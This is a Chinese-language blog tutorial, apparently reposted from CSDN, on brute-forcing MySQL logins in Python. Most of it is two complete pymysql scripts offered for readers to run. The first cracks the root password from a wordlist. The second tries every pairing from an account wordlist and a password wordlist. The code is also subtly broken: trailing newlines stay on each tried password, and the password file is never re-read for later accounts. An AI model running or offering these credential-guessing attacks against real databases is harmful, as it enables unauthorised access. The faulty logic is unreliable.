今天来给大家简单讲解一下怎么实现python暴力破解mysql数据。
知道账号的情况下破解密码
大家知道mysql需要账号和密码才能登陆,我们今天做一个在知道账号的情况下对密码进行破解。(后面继续跟进账号密码都不知道的情况)
既然是暴力破解,避免离开不了密码字典,对于密码字典,我们采用从文本文档进行读取。
利用密码字典我们可以不停的刷密码,从而破解成功进行登录。
下面先贴上代码:
# coding:utf-8
import pymysql#导入连接数据库的模块
class PoJie:
def __init__(self,path):
self.file =open(path,"r",errors="ignore")#打开密码字典文件
def LianJieMySql(self,word):#连接数据库的方法
try:
db =pymysql.connect("localhost","root",word) #连接数据库
#pymysql.connect()方法的第一个参数是ip地址,本机可以用localhost代替
#第二个参数是账户名,本文章为知道用户名情况破解密码
#第三个是密码,
db.close()#关闭数据库
return True#连接成功返回True
except:
return False
def PoJieChangShi(self):#读取密码字典的方法
while True:#循环读取
mystr=self.file.readline()#读取密码字典的一行
if not mystr:#如果读到文件最后没有数据了,就跳出循环
break
if self.LianJieMySql(mystr):#把读到的一行密码传到连接数据库方法里面
#如果返回了True说明破解成功
print("密码正确----",mystr)#打印正确密码
break#结束循环
else :
print("密码错误",mystr)
def __del__(self):#无论如何最终要执行的方法
self.file.close()#关闭密码字典文件
pass
path=r"C:\Users\Administrator\Desktop\wordlist.txt"#传入密码字典绝对文件路径
start =PoJie(path)#实例化对象
start.PoJieChangShi()#对象执行方法
下面为运行结果:

是不是很简单啊!
我简单说一下实现过程:
首先,一定要导入连接数据库的模块也就是(import pymysql)
写了一个连接数据库的方法,写了一个从文本文档逐行读取密码的方法。
对于读取的每一行密码,我们都把它传入连接数据库的方法中,进行连接测试。
如果连接成功则返回True。
这里使用了try语句,因为当连接失败,也就是密码不正确的时候,系统会报错,所以我们使用try捕获异常,抛出错误,避免系统出现异常错误终止我们的程序。
密码字典哪里来,大家可以自己使用python生成器进行生成。
不知道账号的情况下破解密码
下面贴上代码:
# coding:utf-8
import pymysql#导入连接数据库的模块
class PoJieTwo:
def __init__(self,accountPath,wordPath):
self.accountFile =open(accountPath,"r",errors="ignore")#打开账户字典
self.wordFile =open(wordPath,"r",errors="ignore")#打开密码字典
def LianJieMySql(self,account,word):#连接数据库的方法
try:
db =pymysql.connect("localhost",account,word) #连接数据库
#pymysql.connect()方法的第一个参数是ip地址,本机可以用localhost代替
#第二个参数是账户名,
#第三个是密码,
db.close()#关闭数据库
return True#连接成功返回True
except:
return False
def PoJieChangShi(self):#读取字典文件的方法
while True:#循环读取账户字典
myAccount=self.accountFile.readline()#读取一行
if not myAccount:#如果读到账户文件最后没有数据了,就跳出循环
break
while True:#循环读取密码字典
myWord=self.wordFile.readline()#读取密码字典的一行
if not myWord:#如果读到密码文件最后没有数据了,就跳出循环
break
if self.LianJieMySql(myAccount,myWord):#把读到账户和密码传到连接数据库方法里面
#如果返回了True说明破解成功
print("账户:",myAccount,"密码正确----",myWord)#打印正确密码
break#结束循环
else :
print("账户:",myAccount,"密码错误",myWord)
def __del__(self):#无论如何最终要执行的方法
self.accountFile.close()#关闭账户字典
self.wordFile.close()#关闭密码字典文件
pass
accountPath=r"C:\Users\Administrator\Desktop\账号.txt"#传入账户字典绝对文件路径
wordPath=r"C:\Users\Administrator\Desktop\wordlist.txt"#传入密码字典绝对文件路径
start =PoJieTwo(accountPath,wordPath)#实例化对象
start.PoJieChangShi()#对象执行方法
下面是运行结果:

代码只是稍作修改。下面讲一下思路:
在之前单纯破解密码的基础上,我们加上了账户破解,
所以我们需要两个字典文件,一个是账号字典,一个是密码字典,
我们在读取字典文件的的方法中,首先读一行账号,然后把密码刷一遍,在每次读账号后,都需要刷一遍密码;
来源:https://blog.youkuaiyun.com/m0_38124502/article/details/77982883
推荐阅读
921






